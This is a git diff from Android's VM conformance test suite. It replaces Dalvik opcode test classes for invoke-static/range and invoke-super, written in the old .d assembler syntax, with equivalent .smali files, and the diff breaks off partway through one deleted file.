+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_static_range/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/T_invoke_static_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/T_invoke_static_range_24.smali
new file mode 100644
index 0000000..a2d9c01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24.smalis/T_invoke_static_range_24.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_24;
+.super Ldot/junit/opcodes/invoke_static_range/d/TTestInterfaceImpl;
+.source "T_invoke_static_range_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_static_range/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-static/range {p0 .. p0}, Ldot/junit/opcodes/invoke_static_range/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.d
deleted file mode 100644
index b3734a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_3.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static/range {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.smali
new file mode 100644
index 0000000..ba458ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_3.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static/range {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.d
deleted file mode 100644
index c07542cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.d
+++ /dev/null
@@ -1,75 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_4.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private static test(IIIIIIIIII)I
-.limit regs 11
-    const v0, 10
-    if-ne v0, v10, Label0
-    const v0, 9
-    if-ne v0, v9, Label0
-    const v0, 8
-    if-ne v0, v8, Label0
-    const v0, 7
-    if-ne v0, v7, Label0
-    const v0, 6
-    if-ne v0, v6, Label0
-    const v0, 5
-    if-ne v0, v5, Label0
-    const v0, 4
-    if-ne v0, v4, Label0
-    const v0, 3
-    if-ne v0, v3, Label0
-    const v0, 2
-    if-ne v0, v2, Label0
-    const v0, 1
-    if-ne v0, v1, Label0
-
-    const v0, 1
-    return v0
-Label0:
-    const v0, 0
-    return v0
-
-.end method
-
-.method public static run()I
-.limit regs 16
-         const v1, 1
-          const v2, 2
-          const v3, 3
-          const v4, 4
-          const v5, 5
-          const v6, 6
-          const v7, 7
-          const v8, 8
-          const v9, 9
-          const v10, 10
-
-       invoke-static/range {v1..v10}, dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_4/test(IIIIIIIIII)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.smali
new file mode 100644
index 0000000..d1785b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.smali
@@ -0,0 +1,75 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_4.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private static test(IIIIIIIIII)I
+.registers 11
+    const v0, 10
+    if-ne v0, v10, :Label0
+    const v0, 9
+    if-ne v0, v9, :Label0
+    const v0, 8
+    if-ne v0, v8, :Label0
+    const v0, 7
+    if-ne v0, v7, :Label0
+    const v0, 6
+    if-ne v0, v6, :Label0
+    const v0, 5
+    if-ne v0, v5, :Label0
+    const v0, 4
+    if-ne v0, v4, :Label0
+    const v0, 3
+    if-ne v0, v3, :Label0
+    const v0, 2
+    if-ne v0, v2, :Label0
+    const v0, 1
+    if-ne v0, v1, :Label0
+
+    const v0, 1
+    return v0
+:Label0
+    const v0, 0
+    return v0
+
+.end method
+
+.method public static run()I
+.registers 16
+         const v1, 1
+          const v2, 2
+          const v3, 3
+          const v4, 4
+          const v5, 5
+          const v6, 6
+          const v7, 7
+          const v8, 8
+          const v9, 9
+          const v10, 10
+
+       invoke-static/range {v1..v10}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4;->test(IIIIIIIIII)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.d
deleted file mode 100644
index 14cbfd6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_5.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const/4 v2, 5
-       invoke-static/range {v2}, dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5/test(I)I
-       move-result v0
-       return v0
-.end method
-
-.method public test(I)I
-.limit regs 5
-
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.smali
new file mode 100644
index 0000000..96e7b7a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 5
+       invoke-static/range {v2}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5;->test(I)I
+       move-result v0
+       return v0
+.end method
+
+.method public test(I)I
+.registers 5
+
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.d
deleted file mode 100644
index a739336..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_6.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static native test()V
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.smali
new file mode 100644
index 0000000..4574f24
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6;
+.super Ljava/lang/Object;
+.source "T_invoke_static_range_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static native test()V
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_6;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.d
deleted file mode 100644
index a7615ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_7.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static test()V
-.limit regs 0
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7/testN()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.smali
new file mode 100644
index 0000000..fbefdfc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_7;->testN()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.d
deleted file mode 100644
index a494912..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_8.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-static/range {}, dot/junit/opcodes/invoke_static_range/TestClass/testPvt()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.smali
new file mode 100644
index 0000000..dd3ab26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/TestClass;->testPvt()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.d
deleted file mode 100644
index 5eaf417..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TPlain.java
-.class public dot.junit.opcodes.invoke_super.d.TPlain
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.smali
new file mode 100644
index 0000000..fbe3695
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TPlain.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.d
deleted file mode 100644
index 2e4f13f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper.java
-.class public dot.junit.opcodes.invoke_super.d.TSuper
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
-    
-.method public toInt(F)I 
-.limit regs 3
-    float-to-int v0, v2
-    return v0
-.end method
-
-.method public native toIntNative()I    
-.end method
-    
-.method public static toIntStatic()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
-  
-.method protected toIntP()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method  
-
-.method private toIntPvt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method  
-    
-.method public testArgsOrder(II)I
-.limit regs 4
-    const v0, 349
-    const v1, 344656
-    div-int v2, v2, v3
-    return v2
-.end method   
-
-.method public testString(Ljava/lang/String;)V
-.limit regs 2
-    return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.smali
new file mode 100644
index 0000000..c52bf55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper.smali
@@ -0,0 +1,90 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_super/d/TSuper;
+.super Ljava/lang/Object;
+.source "TSuper.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private toIntPvt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public static toIntStatic()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public testArgsOrder(II)I
+    .registers 4
+
+    const v0, 0x15d
+
+    const p0, 0x54250
+
+    div-int p1, p1, p2
+
+    return p1
+.end method
+
+.method public testString(Ljava/lang/String;)V
+    .registers 2
+
+    return-void
+.end method
+
+.method public toInt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public toInt(F)I
+    .registers 3
+
+    float-to-int v0, p1
+
+    return v0
+.end method
+
+.method public native toIntNative()I
+.end method
+
+.method protected toIntP()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.d
deleted file mode 100644
index b74842f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper2.java
-.class public dot.junit.opcodes.invoke_super.d.TSuper2
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public test()I 
-.limit regs 3
-    const v0, 123
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.smali
new file mode 100644
index 0000000..e8a7f97
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/TSuper2.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_super/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_super/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_super/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.d
deleted file mode 100644
index 829c67f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_super/d/T_invoke_super_1.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_super_1.java
-.class public dot.junit.opcodes.invoke_super.d.T_invoke_super_1
-.super dot/junit/opcodes/invoke_super/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_super/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 8
-
